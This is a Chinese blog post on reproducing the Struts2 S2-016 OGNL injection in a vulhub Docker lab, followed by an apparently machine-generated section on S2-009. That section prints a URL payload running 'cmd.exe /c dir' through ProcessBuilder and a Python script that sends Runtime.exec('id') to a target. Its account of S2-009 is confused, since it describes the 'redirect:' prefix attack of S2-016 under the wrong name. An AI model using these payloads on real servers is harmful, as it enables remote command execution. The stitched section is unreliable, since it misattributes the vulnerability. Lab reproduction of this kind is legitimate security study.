Struts2 漏洞复现之s2-016

本文介绍了Struts2的s2-016漏洞,揭示了其原理:由于DefaultActionMapper类未过滤特定前缀,攻击者可利用OGNL表达式执行任意系统命令。通过步骤1-5详述了漏洞复现过程,包括进入漏洞环境、构造并使用POC来触发漏洞。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

Struts2 漏洞复现之s2-016

原理:

在struts2中,DefaultActionMapper类支持以"action:"、“redirect:”、"redirectAction:"作为导航或是重定向前缀,但是这些前缀后面同时可以跟OGNL表达式,由于struts2没有对这些前缀做过滤,导致利用OGNL表达式调用java静态方法执行任意系统命令。

1.进入016

cd vulhub-master/struts2/s2-016

2.开启016

docker-compose up -d

3.访问靶机ip:8080
在这里插入图片描述
4.查看漏洞详细信息

cat README.zh-cn.md

5.构造poc,使用抓包工具Burpsuite,修改数据包插入poc

在这里插入图片描述
分别对123进行转义,然后这时候需要复制粘贴到BP里执行即可!

在这里插入图片描述

### Struts2 S2-009 漏洞复现方法 Struts2 的 S2-009 漏洞主要源于其对 OGNL 表达式的处理不当,允许攻击者通过特定的输入执行任意代码。以下是关于该漏洞的具体分析以及如何进行复现的方法。 #### 背景介绍 Struts2 对于之前版本中的某些安全问题进行了修复,例如针对 S2-003 和 S2-005 的修补措施分别涉及禁用 `#` 号和反斜杠 `\` 符号[^1]。然而,在这些修复之后,新的绕过方式被发现并最终导致了 S2-009 漏洞的发生。 #### 影响范围 此漏洞影响以下版本: - **Struts 2.0.0 到 Struts 2.3.14.2** #### 漏洞原理 S2-009 是由于开发者未能完全阻止恶意用户构造特殊的 URL 参数来触发 OGNL 表达式解析器的行为所致。具体来说,即使框架已经尝试过滤掉一些敏感字符(如 `#`),但仍然可以通过其他手段实现类似的逻辑操作,从而达到远程命令执行的目的。 #### 复现步骤描述 为了成功重现这一漏洞,可以按照如下方式进行设置: 1. 准备目标应用程序环境,确保运行的是受影响范围内未打补丁的 Struts 版本; 2. 构造含有恶意 payload 的 HTTP 请求发送给服务器端口监听地址; - Payload 示例形式可能类似于下面这样 (需替换实际 IP 地址) : ```bash http://<target-ip>:8080/example.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{%22cmd.exe%22,%22/c%22,%22dir%22})).start()} ``` 上述例子展示了如何利用 `${}` 结构嵌入一段 Java 代码片段到请求参数当中去调用系统 shell 命令。 注意:以上仅为理论说明用途,请勿非法测试他人网站! #### 防护建议 为了避免此类安全隐患再次发生,官方推荐采取以下防护策略之一或者组合使用它们: - 升级至最新稳定版 Struts 库文件; - 自定义配置白名单验证机制限制外部可控变量的内容类型; - 开启开发模式下的调试日志记录功能以便及时发现问题所在位置。 ```python import requests url = 'http://localhost:8080/example.action' payload = {'redirect': '${@java.lang.Runtime@getRuntime().exec("id")}'} response = requests.get(url, params=payload) print(response.text) ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值